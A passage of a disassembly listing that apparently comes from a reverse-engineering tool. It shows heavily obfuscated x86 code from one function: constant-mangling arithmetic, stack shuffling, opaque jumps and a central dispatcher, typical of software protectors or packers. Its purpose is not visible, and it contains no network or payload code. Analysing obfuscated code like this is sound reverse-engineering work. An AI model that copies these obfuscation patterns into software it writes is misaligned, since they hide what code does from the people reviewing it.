		sub	ch, 0D8h
		pop	edx
		add	al, ch
		pop	ecx
		jmp	loc_59A569
; ---------------------------------------------------------------------------


loc_59729B:				; CODE XREF: sub_58A891:loc_597F80j
		not	esi
		sub	esi, 0E41BAACDh
		mov	eax, esi
		pop	esi
		jmp	loc_599CA7
; ---------------------------------------------------------------------------


loc_5972AB:				; CODE XREF: sub_58A891+1059Fj
		push	edi
		jmp	loc_58EA47
; ---------------------------------------------------------------------------


loc_5972B1:				; CODE XREF: sub_58A891:loc_5910E9j
		jmp	loc_590321
; ---------------------------------------------------------------------------


loc_5972B6:				; CODE XREF: sub_58A891+48B3j
		mov	[esp+28h+var_28], ebp
		push	ecx
		mov	ecx, 723F5C56h
		shl	ecx, 8
		js	loc_58E83A
		jmp	loc_590094
; ---------------------------------------------------------------------------


loc_5972CD:				; CODE XREF: sub_58A891+82DDj
		push	edi
		mov	edi, 44C6729Ah
		inc	edi
		xor	edi, 0BCD73E3h
		or	edi, 69502919h
		jmp	loc_59A6C7
; ---------------------------------------------------------------------------


loc_5972E5:				; CODE XREF: sub_58A891+5907j
		push	ecx
		mov	ecx, esp
		jmp	loc_599D2D
; ---------------------------------------------------------------------------


loc_5972ED:				; CODE XREF: sub_58A891+6ED6j
		pop	edi
		jmp	loc_595C7B
; ---------------------------------------------------------------------------


loc_5972F3:				; CODE XREF: sub_58A891+D575j
		pop	eax
		jmp	loc_592A9F
; ---------------------------------------------------------------------------


loc_5972F9:				; CODE XREF: sub_58A891+E1EFj
		push	4789h
		mov	[esp+4+var_4], ebp
		push	5151h
		jmp	loc_59A551
; ---------------------------------------------------------------------------


loc_59730B:				; CODE XREF: sub_58A891:loc_599726j
		xor	ebx, 691F7079h
		push	edx
		mov	edx, ebx
		mov	edi, edx
		jmp	loc_59918D
; ---------------------------------------------------------------------------


loc_59731B:				; CODE XREF: sub_58A891+76D9j
		push	5017011Dh
		pop	edi
		shr	edi, 5
		not	edi
		xchg	edx, edi
		not	edx
		xchg	edx, edi
		xor	edi, 10F3D16Ah
		push	ebx
		mov	ebx, edi
		mov	edx, ebx
		pop	ebx
		pop	edi
		mov	ecx, 5932B12h
		jmp	loc_5993FE
; ---------------------------------------------------------------------------


loc_597343:				; CODE XREF: sub_58A891+E25Dj
		sub	dl, 0F6h
		push	eax
		push	ecx
		jmp	loc_599E66
; ---------------------------------------------------------------------------


loc_59734D:				; CODE XREF: sub_58A891+BA6Fj
		pop	ebx
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_597353:				; CODE XREF: sub_58A891+66DDj
		add	[esp+10h+var_10], 4
		pop	[esp+10h+var_10]
		jmp	loc_592236
; ---------------------------------------------------------------------------


loc_59735F:				; CODE XREF: sub_58A891+464Aj
		sub	bl, 5Fh
		shl	bl, 5
		not	bl
		jmp	loc_59B7CC
; ---------------------------------------------------------------------------


loc_59736C:				; DATA XREF: sub_58A891+3C1Fo
		push	ecx
		sub	esp, 4
		jmp	loc_59B4FD
; ---------------------------------------------------------------------------


loc_597375:				; CODE XREF: sub_58A891+D5B1j
		push	edi
		mov	edi, 41DE251Bh
		sub	edx, edi
		jmp	loc_591263
; ---------------------------------------------------------------------------


loc_597382:				; CODE XREF: sub_58A891+6610j
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	edi
		mov	edi, 548712BCh
		mov	ebx, 0AB78ED48h
		add	ebx, edi
		jmp	loc_594A49
; ---------------------------------------------------------------------------


loc_59739A:				; CODE XREF: sub_58A891+11247j
		sub	ebx, 42522B60h
		jmp	loc_59600D
; ---------------------------------------------------------------------------


loc_5973A5:				; CODE XREF: sub_58A891+FCF6j
		pop	eax
		jmp	loc_59330B
; ---------------------------------------------------------------------------


loc_5973AB:				; CODE XREF: sub_58A891+5CF4j
					; sub_58A891+6DD0j
		mov	eax, [esp+40h+var_40]
		add	esp, 4
		add	edx, 2
		push	5640h
		mov	[esp+40h+var_40], edx
		push	[esp+40h+var_3C]
		pop	edx
		pop	[esp+40h+var_40]
		mov	esp, [esp+3Ch+var_3C]
		idiv	cl
		movzx	cx, ah
		push	small 0E69h
		mov	word ptr [esp+3Eh+var_40+2], cx
		movzx	cx, al
		jmp	loc_58F15E
; ---------------------------------------------------------------------------


loc_5973DE:				; CODE XREF: sub_58A891+45ABj
		mov	[esp-8+arg_0], edx
		push	ecx
		mov	ch, 0EFh
		add	ch, 0A3h
		jz	loc_599B7F
		dec	ch
		jge	loc_593F37
		shr	ch, 3
		jns	loc_599DA6
		jmp	loc_593C05
; ---------------------------------------------------------------------------
		xor	eax, [esp+0]
		xor	[esp+0], eax
		xor	eax, [esp+0]


loc_59740C:				; CODE XREF: sub_58A891+AC8Dj
		push	eax
		mov	eax, 2D7E0820h
		jmp	loc_599180
; ---------------------------------------------------------------------------


loc_597417:				; CODE XREF: sub_58A891+868Ej
		add	esp, 4
		mov	edi, [esp+40h+var_40]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		jmp	loc_597456
; ---------------------------------------------------------------------------


loc_59742F:				; CODE XREF: sub_58A891+F501j
		shr	ebx, 8
		jnz	loc_598670
		sub	esp, 4
		jmp	loc_59A569
; ---------------------------------------------------------------------------
		mov	esi, ecx


loc_597445:				; DATA XREF: sub_58A891+3A77o
		mov	ax, word ptr [esp+48h+var_48]
		jmp	loc_591C77
; ---------------------------------------------------------------------------


loc_59744E:				; CODE XREF: sub_58A891+6B9Ej
		sub	eax, edi
		pop	edi
		jmp	loc_592E25
; ---------------------------------------------------------------------------


loc_597456:				; CODE XREF: sub_58A891+CB99j
		push	eax
		mov	eax, 55B31112h
		mov	ebp, eax
		pop	eax
		dec	ebp
		not	ebp
		push	3F7Fh
		mov	[esp+48h+var_48], edi
		mov	edi, 653A45F7h
		sub	edi, 31D2A09h
		jmp	loc_59847E
; ---------------------------------------------------------------------------


loc_59747A:				; CODE XREF: sub_58A891+EFD0j
		push	ebp
		mov	ebp, 0B46726Fh
		jmp	loc_59A024
; ---------------------------------------------------------------------------


loc_597485:				; CODE XREF: sub_58A891+ADCBj
		add	edx, 9F63D6h
		pop	ebp
		add	edx, 0C8A390C2h
		sub	esi, edx
		mov	edx, [esp+44h+var_44]
		add	esp, 4
		jmp	loc_590F1E
; ---------------------------------------------------------------------------


loc_59749F:				; CODE XREF: sub_58A891+80EEj
		mov	edx, [esp+42h+var_44+2]
		jmp	loc_592C8C
; ---------------------------------------------------------------------------


loc_5974A7:				; CODE XREF: sub_58A891+E8EAj
		mov	eax, [esp+42h+var_44+2]
		add	esp, 4
		push	ebp
		push	edi
		mov	edi, 4
		push	edi
		pop	ebp
		pop	edi
		add	eax, ebp
		mov	ebp, [esp+42h+var_44+2]
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp+3Eh+var_40+2]
		jmp	loc_5977B3
; ---------------------------------------------------------------------------


loc_5974D0:				; CODE XREF: sub_58A891+EB16j
					; sub_58A891+F50Aj
		jmp	loc_597F2E
; ---------------------------------------------------------------------------


loc_5974D5:				; CODE XREF: sub_58A891+9AD1j
		add	esp, 4
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5974E0:				; CODE XREF: sub_58A891+70E1j
		add	eax, 494620F7h
		pop	ebx
		jmp	loc_592D2E
; ---------------------------------------------------------------------------


loc_5974EB:				; CODE XREF: sub_58A891+5DF0j
		pop	esp
		jmp	loc_59AF60
; ---------------------------------------------------------------------------


loc_5974F1:				; CODE XREF: sub_58A891+822Fj
					; sub_58A891+B0B3j
		add	esi, ecx
		sub	esi, 7F180075h
		jmp	loc_594E1B
; ---------------------------------------------------------------------------


loc_5974FE:				; CODE XREF: sub_58A891+9085j
		add	esi, 3C01BDh
		mov	edi, esi
		push	[esp+8+var_8]
		pop	esi
		add	esp, 4
		sub	esp, 4
		mov	[esp+8+var_8], edx
		jmp	loc_59990C
; ---------------------------------------------------------------------------


loc_597518:				; DATA XREF: sub_58A891+3C17o
		push	dword ptr [edi+40h]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_597520:				; CODE XREF: sub_58A891+90D3j
		mov	ch, 95h
		or	ah, ch
		pop	cx
		jmp	loc_591324
; ---------------------------------------------------------------------------


loc_59752B:				; CODE XREF: sub_58A891+A528j
		add	bl, 40h
		jbe	loc_59B97F
		push	6895h
		jmp	loc_596213
; ---------------------------------------------------------------------------


loc_59753E:				; CODE XREF: sub_58A891+BE07j
		add	esi, 72BF75D7h
		jmp	loc_5965B0
; ---------------------------------------------------------------------------


loc_597549:				; CODE XREF: sub_58A891+10D74j
		push	ebx
		mov	edx, [esp+54h+var_54]
		add	esp, 4
		push	edx
		pop	edi
		push	[esp+50h+var_50]
		pop	edx
		push	ebp
		jmp	loc_594792
; ---------------------------------------------------------------------------


loc_59755C:				; CODE XREF: sub_58A891+9104j
					; sub_58A891+FDF1j
		sub	eax, 2F9C4FBAh
		mov	ebp, [esp-8+arg_0]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		add	ebx, 4D225B99h
		sub	ebx, 536F03E3h
		add	ebx, eax
		push	edi
		push	77A2h
		mov	[esp+0], ebp
		mov	ebp, 536F03E3h
		mov	edi, ebp
		pop	ebp
		push	edi
		mov	edi, 28D90323h
		sub	edi, 5C485FC4h
		xor	edi, 0CA2481B5h
		add	ebx, edi
		pop	edi
		add	ebx, 658D6D54h
		jmp	loc_596335
; ---------------------------------------------------------------------------


loc_5975B6:				; CODE XREF: sub_58A891+10C44j
		xchg	edx, [esp+0]
		pop	esp


loc_5975BA:				; CODE XREF: sub_58A891+7042j
					; sub_58A891+8B95j
		sub	esp, 4
		mov	[esp+0], edi
		sub	esp, 4
		mov	[esp+0], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_595218
; ---------------------------------------------------------------------------


loc_5975D6:				; CODE XREF: sub_58A891+ECE9j
		or	[esp+0], eax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5975DF:				; CODE XREF: sub_58A891+4B58j
		mov	dh, 3Fh
		and	dh, 0E2h
		inc	dh
		sub	dh, 0A2h
		neg	dh
		add	dh, 0ECh
		jmp	loc_596222
; ---------------------------------------------------------------------------


loc_5975F3:				; CODE XREF: sub_58A891+A3D6j
					; sub_58A891+AB84j
		push	7173h
		mov	[esp+14h+var_14], esi
		mov	esi, 2
		add	ecx, esi
		pop	esi
		push	ecx
		push	[esp+14h+var_10]
		mov	ecx, [esp+18h+var_18]
		add	esp, 4
		jmp	loc_590DBD
; ---------------------------------------------------------------------------


loc_597613:				; CODE XREF: sub_58A891+107C9j
		pop	esp
		jmp	loc_59626E
; ---------------------------------------------------------------------------


loc_597619:				; CODE XREF: sub_58A891+C4B5j
		sub	al, 41h
		add	al, 94h
		pop	ecx
		xor	bl, al
		push	7BC2h
		mov	[esp+16h+var_18+2], ebx
		push	ecx
		mov	cl, al
		mov	bl, cl
		mov	ecx, [esp+1Ah+var_1C+2]
		add	esp, 4
		push	eax
		mov	eax, 38h
		add	eax, edi
		sub	esp, 4
		jmp	loc_595E41
; ---------------------------------------------------------------------------


loc_597643:				; CODE XREF: sub_58A891+D826j
		xchg	eax, ebx
		xor	ebx, 0F0599F59h
		mov	esi, ebx
		pop	ebx
		jmp	loc_593A50
; ---------------------------------------------------------------------------


loc_597652:				; DATA XREF: sub_58A891+39F3o
		push	[esp+8+var_8]
		pop	eax
		push	ecx
		push	esp
		mov	ecx, [esp+10h+var_10]
		jmp	loc_59426E
; ---------------------------------------------------------------------------


loc_597660:				; CODE XREF: sub_58A891+DC40j
		push	edi
		push	ebx
		jmp	loc_594D8B
; ---------------------------------------------------------------------------


loc_597667:				; CODE XREF: sub_58A891+B601j
		sub	edx, 11584000h
		and	eax, edx
		pop	edx
		shr	eax, 0Bh
		xor	ecx, eax
		push	65h
		mov	[esp+10h+var_10], ebx
		mov	ebx, esp
		push	33DBh
		mov	[esp+14h+var_14], esi
		mov	esi, 4
		add	ebx, esi
		mov	esi, [esp+14h+var_14]
		add	esp, 4
		sub	ebx, 4
		push	23FDh
		mov	[esp+14h+var_14], ebx
		jmp	loc_5913B7
; ---------------------------------------------------------------------------


loc_5976A7:				; CODE XREF: sub_58A891+BF64j
		add	ecx, 3D876904h
		jmp	loc_590ED9
; ---------------------------------------------------------------------------


loc_5976B2:				; CODE XREF: sub_58A891+DACAj
		add	ebp, 4
		jmp	loc_592D38
; ---------------------------------------------------------------------------


loc_5976BA:				; CODE XREF: sub_58A891+8F40j
		mov	edx, 4
		push	esi
		mov	esi, 1D3505D3h
		add	edi, esi
		pop	esi
		sub	edi, 1D96AA1h
		add	edi, edx
		jmp	loc_59824B
; ---------------------------------------------------------------------------


loc_5976D5:				; CODE XREF: sub_58A891+9439j
		shl	eax, 1
		inc	eax
		inc	eax
		jmp	loc_597AAB
; ---------------------------------------------------------------------------


loc_5976DE:				; CODE XREF: sub_58A891+A050j
		pop	ebx
		push	cx
		push	bx
		mov	bl, 1Ah
		push	edx
		mov	dl, bl
		mov	cl, dl
		pop	edx
		pop	bx
		not	cl
		not	cl
		and	cl, 0Fh
		jmp	loc_596F80
; ---------------------------------------------------------------------------


loc_5976F9:				; CODE XREF: sub_58A891+E9C5j
		xchg	ebp, [esp+42h+var_44+2]
		pop	esp
		jmp	loc_599F69
; ---------------------------------------------------------------------------


loc_597702:				; CODE XREF: sub_58A891+FFF6j
		mov	edi, 23841210h
		sub	edi, 2384120Ch
		push	ebp
		push	edi
		jmp	loc_58FA92
; ---------------------------------------------------------------------------


loc_597714:				; CODE XREF: sub_58A891+F5D0j
		mov	edi, ebp
		jmp	loc_58EA3F
; ---------------------------------------------------------------------------


loc_59771B:				; CODE XREF: sub_58A891+100C0j
		add	esp, 4
		push	ecx
		jmp	loc_5900B8
; ---------------------------------------------------------------------------


loc_597727:				; CODE XREF: sub_58A891+E78Cj
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5953F4
; ---------------------------------------------------------------------------


loc_59773E:				; CODE XREF: sub_58A891+58FEj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_59404F
; ---------------------------------------------------------------------------


loc_59774D:				; CODE XREF: sub_58A891+B772j
					; sub_58A891+FE82j
		add	esi, 0B9F3EABh
		dec	esi
		xor	esi, 2B69C08h
		jmp	loc_595BFD
; ---------------------------------------------------------------------------


loc_59775F:				; CODE XREF: sub_58A891+837Fj
		mov	esi, 483D0EBAh
		inc	esi
		jmp	loc_594A75
; ---------------------------------------------------------------------------


loc_59776A:				; CODE XREF: sub_58A891+5AEAj
		xor	ecx, 5B6D9333h
		mov	eax, ecx
		jmp	loc_598C60
; ---------------------------------------------------------------------------


loc_597777:				; CODE XREF: sub_58A891+FF43j
		pop	ecx
		add	eax, 35A66EBAh
		xor	ebx, eax
		pop	eax
		and	eax, ebx
		pop	ebx
		jmp	loc_5994D7
; ---------------------------------------------------------------------------


loc_597788:				; CODE XREF: sub_58A891+10C7Ej
		push	[esp+44h+var_44]
		mov	ecx, [esp+48h+var_48]
		add	esp, 4
		push	edi
		jmp	loc_58E6EA
; ---------------------------------------------------------------------------


loc_597797:				; CODE XREF: sub_58A891+BFD9j
		add	eax, edi
		pop	edi
		jmp	loc_59398E
; ---------------------------------------------------------------------------


loc_59779F:				; CODE XREF: sub_58A891+3EC6j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 2
		jmp	loc_5903C9
; ---------------------------------------------------------------------------


loc_5977B3:				; CODE XREF: sub_58A891+CC3Aj
		mov	esp, [esp+3Eh+var_40+2]
		test	ecx, eax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5977BE:				; CODE XREF: sub_58A891+F5DAj
		jle	loc_590774
		shr	ch, 6
		push	dx
		mov	dl, 0B1h
		add	ch, dl
		pop	dx
		mov	ah, ch
		pop	ecx
		and	ah, 16h
		or	ah, 2
		xor	ah, 0EDh
		sub	dl, ah
		pop	eax
		add	dl, 0A7h
		xor	al, dl
		mov	edx, [esp+3Ah+var_3C+2]
		push	5561h
		mov	[esp+3Eh+var_40+2], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_596F06
; ---------------------------------------------------------------------------


loc_5977FB:				; DATA XREF: sub_58A891+39BBo
		push	dword ptr [edx]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_597802:				; CODE XREF: sub_58A891+5C6Fj
		add	eax, 45BE445Fh
		sub	edx, eax
		pop	eax
		mov	ebx, edx
		jmp	loc_591099
; ---------------------------------------------------------------------------


loc_597811:				; CODE XREF: sub_58A891+7D2Ej
		mov	eax, esp
		push	ebp
		jmp	loc_59288B
; ---------------------------------------------------------------------------


loc_597819:				; CODE XREF: sub_58A891+EC2Fj
		sub	eax, 0C3896372h
		sub	ebx, eax
		pop	eax
		jmp	loc_590CF2
; ---------------------------------------------------------------------------


loc_597826:				; CODE XREF: sub_58A891+BDDEj
		push	edi
		mov	edi, 39EB024Dh
		add	[esp+44h+var_3C], edi
		pop	edi
		add	[esp+40h+var_3C], 0A1D39BEh
		sub	[esp+40h+var_3C], 40942D48h
		jmp	loc_596ABA
; ---------------------------------------------------------------------------


loc_597846:				; CODE XREF: sub_58A891+4D38j
					; sub_58A891+FE09j
		shr	ebp, 6
		js	loc_5990D0
		shr	ebp, 4
		jz	loc_59AC59
		and	ebp, 3C7B69E5h
		sub	ebp, 91F63598h
		push	esi
		push	edx
		mov	edx, 27E8005Eh
		jmp	loc_597279
; ---------------------------------------------------------------------------


loc_597870:				; CODE XREF: sub_58A891+8007j
		mov	ebp, esi
		jmp	loc_5994F3
; ---------------------------------------------------------------------------


loc_597877:				; CODE XREF: sub_58A891+9E1Bj
		sub	dh, 64h
		shr	dh, 2
		xor	dh, 0B4h
		jmp	loc_596FE8
; ---------------------------------------------------------------------------


loc_597885:				; CODE XREF: sub_58A891+A2A7j
		push	ebx
		mov	ebx, 2
		jmp	loc_59A1CB
; ---------------------------------------------------------------------------


loc_597890:				; CODE XREF: sub_58A891+D332j
		pop	esi


loc_597891:				; CODE XREF: sub_58A891+6145j
		push	esi
		sub	esp, 4
		mov	[esp+50h+var_50], edx
		mov	edx, 354D2190h
		jmp	loc_59541A
; ---------------------------------------------------------------------------


loc_5978A2:				; CODE XREF: sub_58A891+821Cj
					; sub_58A891+F819j
		mov	bh, al
		pop	eax
		mov	cl, bh
		pop	ebx
		push	[esp+0Ch+var_C]
		jmp	loc_590415
; ---------------------------------------------------------------------------


loc_5978B0:				; CODE XREF: sub_58A891+10525j
		shr	ebx, 3
		jmp	loc_58E6CF
; ---------------------------------------------------------------------------


loc_5978B8:				; CODE XREF: sub_58A891+6643j
		mov	edx, 111A5A13h
		sub	ecx, edx
		pop	edx
		sub	ecx, 6F8E3F53h
		add	ecx, 40739510h
		and	eax, ecx
		pop	ecx
		shr	eax, 10h
		xor	eax, ecx
		push	268Eh
		mov	[esp-8+arg_0], eax
		push	133Dh
		mov	[esp+0], ebp
		push	[esp-4+arg_0]
		mov	ebp, [esp+0]
		jmp	loc_597B1C
; ---------------------------------------------------------------------------


loc_5978F0:				; CODE XREF: sub_58A891+8FDFj
		inc	edx
		jmp	loc_591B7A
; ---------------------------------------------------------------------------


loc_5978F6:				; CODE XREF: sub_58A891+410Aj
		push	[esp+0Ch+var_C]
		pop	eax
		jmp	loc_59977C
; ---------------------------------------------------------------------------


loc_5978FF:				; CODE XREF: sub_58A891+6349j
					; sub_58A891+1091Cj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_59282D
; ---------------------------------------------------------------------------


loc_597913:				; CODE XREF: sub_58A891+C20Ej
		xor	ebx, [esp+28h+var_28]
		pop	esp
		and	byte ptr [esp+24h+var_24], al
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_597920:				; CODE XREF: sub_58A891+6DAAj
		mov	esp, [esp+3Ch+var_3C]
		popa
		jmp	loc_59173D
; ---------------------------------------------------------------------------


loc_597929:				; CODE XREF: sub_58A891+8CECj
		mov	cx, [esp+0]
		sub	esp, 4
		mov	[esp+4+var_4], ebp
		push	esp
		jmp	loc_595F7D
; ---------------------------------------------------------------------------


loc_597939:				; CODE XREF: sub_58A891+EE3Dj
		add	edx, 573F64BAh
		jnp	loc_58E6B0
		add	edx, 0F78AD564h
		mov	esi, edx
		pop	edx
		jmp	loc_58F51A
; ---------------------------------------------------------------------------


loc_597953:				; CODE XREF: sub_58A891+E9E3j
		add	esi, 4
		push	esi
		push	[esp+8+var_4]
		pop	esi
		pop	[esp+8+var_8]
		pop	esp
		xor	ebx, eax
		sub	esp, 4
		mov	[esp+4+var_4], eax
		push	[esp+4+var_4]
		pop	edx
		push	eax
		mov	eax, esp
		push	edi
		push	ebp
		mov	ebp, 4
		mov	edi, ebp
		pop	ebp
		jmp	loc_59B821
; ---------------------------------------------------------------------------


loc_597981:				; CODE XREF: sub_58A891+F497j
		pop	ebp
		xor	ecx, edx
		pop	edx
		mov	ebp, ecx
		jmp	loc_59651C
; ---------------------------------------------------------------------------


loc_59798C:				; CODE XREF: sub_58A891+10A01j
		push	ebp
		push	5D8Bh
		mov	[esp+0Ch+var_C], ecx
		push	0C4F128Dh
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		or	ecx, 30991EA7h
		jnp	loc_596BDD
		sub	ecx, 60912B78h
		jnz	loc_5983CB
		xor	ecx, 0FEAABF6Ah
		push	ebx
		mov	ebx, ecx
		mov	ebp, ebx
		pop	ebx
		pop	ecx


loc_5979C8:				; CODE XREF: sub_58A891+3E33j
		add	ebp, 4
		push	eax
		push	ebp
		mov	ebp, 2
		jmp	loc_58E6C9
; ---------------------------------------------------------------------------


loc_5979DA:				; CODE XREF: sub_58A891+5F38j
					; sub_58A891+D836j
		add	ecx, ebx
		pop	ebx
		push	ecx
		push	[esp+1Ch+var_18]
		pop	ecx
		pop	[esp+1Ch+var_1C]
		jmp	loc_58F1F5
; ---------------------------------------------------------------------------


loc_5979EB:				; CODE XREF: sub_58A891+6AE4j
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp+38h+var_38]
		jmp	loc_594B5B
; ---------------------------------------------------------------------------


loc_5979F7:				; CODE XREF: sub_58A891+B516j
		push	eax
		mov	eax, 47B2973h
		xor	eax, 3FFB1819h
		sub	ecx, 0C30137Fh
		add	ecx, eax
		jmp	loc_5913F4
; ---------------------------------------------------------------------------


loc_597A0F:				; CODE XREF: sub_58A891+A78Dj
		pop	esi
		push	esi
		push	262Bh
		mov	[esp+14h+var_14], ebx
		push	7C9118CCh
		pop	ebx
		or	ebx, 57490CBAh
		jbe	loc_598BF8
		push	5701h
		jmp	loc_5951B8
; ---------------------------------------------------------------------------


loc_597A35:				; CODE XREF: sub_58A891+1066Bj
		xchg	ecx, edi
		not	ecx
		xchg	ecx, edi
		push	esi
		jmp	loc_597E29
; ---------------------------------------------------------------------------


loc_597A41:				; CODE XREF: sub_58A891+739Bj
		add	al, 0EAh
		push	ecx
		mov	ch, 7Ch
		shr	ch, 8
		jmp	loc_590A3F
; ---------------------------------------------------------------------------


loc_597A4E:				; CODE XREF: sub_58A891+9BD0j
		mov	ecx, 3BCA303Bh
		and	ecx, 1C00024h
		jge	loc_590279
		jmp	loc_5997EC
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, 63D361A1h
		not	edx


loc_597A6C:				; CODE XREF: sub_58A891+10036j
		add	esp, 4
		sub	ebx, 392749AFh
		jmp	loc_5910BF
; ---------------------------------------------------------------------------


loc_597A7A:				; CODE XREF: sub_58A891+4255j
		push	6A1Dh
		jmp	loc_590400
; ---------------------------------------------------------------------------


loc_597A84:				; CODE XREF: sub_58A891+FCEFj
		jnz	loc_59AA13
		xor	bl, 19h
		jnp	loc_58E6F0
		mov	bh, bl
		push	esp


loc_597A96:				; CODE XREF: sub_58A891+507Dj
		xor	bp, 4BD5h
		mov	cx, bp
		pop	ebp
		add	word ptr [esp+40h+var_40+2], 4D71h
		jmp	loc_59861C
; ---------------------------------------------------------------------------


loc_597AAB:				; CODE XREF: sub_58A891+A5DCj
					; sub_58A891+CE48j
		sub	eax, 0EA1065Ch
		add	esi, eax
		pop	eax
		push	5B25h
		mov	[esp+12h+var_14+2], ebx
		push	esi
		jmp	loc_592C2A
; ---------------------------------------------------------------------------


loc_597AC1:				; CODE XREF: sub_58A891+EA58j
		push	5CCDh
		mov	[esp+1Ah+var_1C+2], ebx
		jmp	loc_58FE34
; ---------------------------------------------------------------------------


loc_597ACE:				; CODE XREF: sub_58A891+C938j
		shr	esi, 4
		push	ecx
		jmp	loc_5963ED
; ---------------------------------------------------------------------------


loc_597AD7:				; CODE XREF: sub_58A891+705Dj
		mov	esp, [esp+50h+var_50]
		add	byte ptr [esp+50h+var_50], al
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_597AE3:				; CODE XREF: sub_58A891+B4A6j
		jmp	loc_598670
; ---------------------------------------------------------------------------


loc_597AE8:				; CODE XREF: sub_58A891+9EF6j
		dec	ah
		xor	ah, 93h
		mov	dh, ah
		pop	eax
		and	dh, 32h
		jmp	loc_58E744
; ---------------------------------------------------------------------------


loc_597AF8:				; CODE XREF: sub_58A891+3E54j
		push	ecx
		mov	ecx, 5687D2Dh
		and	ecx, 37D541F8h
		shl	ecx, 4
		jmp	loc_58F74F
; ---------------------------------------------------------------------------


loc_597B0C:				; CODE XREF: sub_58A891+DFDDj
		mov	al, 56h
		and	ch, al
		mov	ax, word ptr [esp+50h+var_50]
		add	esp, 2
		jmp	loc_5998D9
; ---------------------------------------------------------------------------


loc_597B1C:				; CODE XREF: sub_58A891+D05Aj
		add	esp, 4
		pop	dword ptr [esp+0]
		not	ebp
		push	ebp
		push	[esp-4+arg_0]
		jmp	loc_592453
; ---------------------------------------------------------------------------


loc_597B2E:				; CODE XREF: sub_58A891+C54Cj
		push	461B7511h
		pop	ecx
		jmp	loc_597107
; ---------------------------------------------------------------------------


loc_597B39:				; CODE XREF: sub_58A891+7D93j
		or	ah, 3Bh
		jmp	loc_595C70
; ---------------------------------------------------------------------------


loc_597B41:				; CODE XREF: sub_58A891:loc_593337j
		xor	eax, 0BAC0D126h
		mov	ecx, eax
		jmp	loc_58EDF3
; ---------------------------------------------------------------------------


loc_597B4D:				; CODE XREF: sub_58A891+C857j
					; sub_58A891+FD25j
		mov	ebp, 412B24A6h
		jmp	loc_5957FD
; ---------------------------------------------------------------------------


loc_597B57:				; CODE XREF: sub_58A891+BB88j
		sub	edx, 90C196Ch
		js	loc_59935F
		push	45E8h
		mov	[esp+8+var_8], eax
		mov	ah, ah


loc_597B6D:				; CODE XREF: sub_58A891+9D9Dj
		xor	edi, 11C44B99h
		sub	esp, 4
		mov	[esp+0Ch+var_C], esi
		mov	esi, 0D4031059h
		xor	edi, esi
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		push	edi
		sub	[esp+0Ch+var_C], 3A573F43h
		pop	esi
		add	esi, 3A573F43h
		push	[esp+8+var_8]
		pop	edi
		add	esp, 4
		sub	esp, 4
		mov	[esp+8+var_8], esi
		xor	[esp+8+var_8], 138B0F38h
		pop	dword ptr [edx+38h]
		push	ecx
		mov	ecx, 38h
		add	ecx, edx
		xor	dword ptr [ecx], 138B0F38h
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_597890
; ---------------------------------------------------------------------------


loc_597BC8:				; CODE XREF: sub_58A891+4FC1j
		add	esp, 4
		jmp	loc_593EA5
; ---------------------------------------------------------------------------


loc_597BD0:				; CODE XREF: sub_58A891+5919j
		xor	edx, 2E256651h
		jmp	loc_595654
; ---------------------------------------------------------------------------


loc_597BDB:				; CODE XREF: sub_58A891+F1D2j
		pop	ebp
		xor	ebx, eax
		movzx	ax, byte ptr [eax]
		push	small 7884h
		mov	word ptr [esp+2Eh+var_30+2], ax
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_597BEF:				; CODE XREF: sub_58A891+10ADDj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_592C63
; ---------------------------------------------------------------------------


loc_597BFE:				; CODE XREF: sub_58A891+10EB4j
		inc	edi
		or	edi, 1A8E5A91h
		jmp	loc_596DB9
; ---------------------------------------------------------------------------


loc_597C0A:				; CODE XREF: sub_58A891:loc_596269j
					; DATA XREF: sub_58A891+3BF7o
		mov	cx, word ptr [esp+40h+var_40]
		jmp	loc_58F9B1
; ---------------------------------------------------------------------------


loc_597C13:				; CODE XREF: sub_58A891+80D0j
		push	ebp
		push	esp
		jmp	loc_59B438
; ---------------------------------------------------------------------------


loc_597C1A:				; CODE XREF: sub_58A891+111A1j
		push	edi
		mov	edi, 615A55BAh
		or	edi, 426E477Eh
		shl	edi, 2
		and	edi, 1CAA492Fh
		shl	edi, 1
		sub	edi, 4B67146Bh
		add	edi, 0EE113D7Fh
		xor	ecx, edi
		pop	edi
		mov	edi, ecx
		pop	ecx
		add	edi, edx
		mov	edx, [esp+10h+var_10]
		add	esp, 4
		xor	edi, 423B3AB2h
		add	edi, 65876846h
		xor	edi, 0E3CA8B60h
		sub	ebx, edi
		pop	edi
		add	ebx, 7C380DDFh
		sub	ebx, eax
		sub	ebx, 7C380DDFh
		push	esi
		mov	esi, 519D2357h
		add	ebx, esi
		jmp	loc_59254D
; ---------------------------------------------------------------------------


loc_597C7E:				; CODE XREF: sub_58A891+DDD2j
		add	cl, al
		pop	eax
		sub	dh, cl
		pop	ecx
		add	al, dh
		mov	dx, word ptr [esp+4+var_4]
		add	esp, 2
		sub	esp, 4
		jmp	loc_5955AE
; ---------------------------------------------------------------------------


loc_597C95:				; CODE XREF: sub_58A891+10854j
		shl	edi, 1
		not	edi
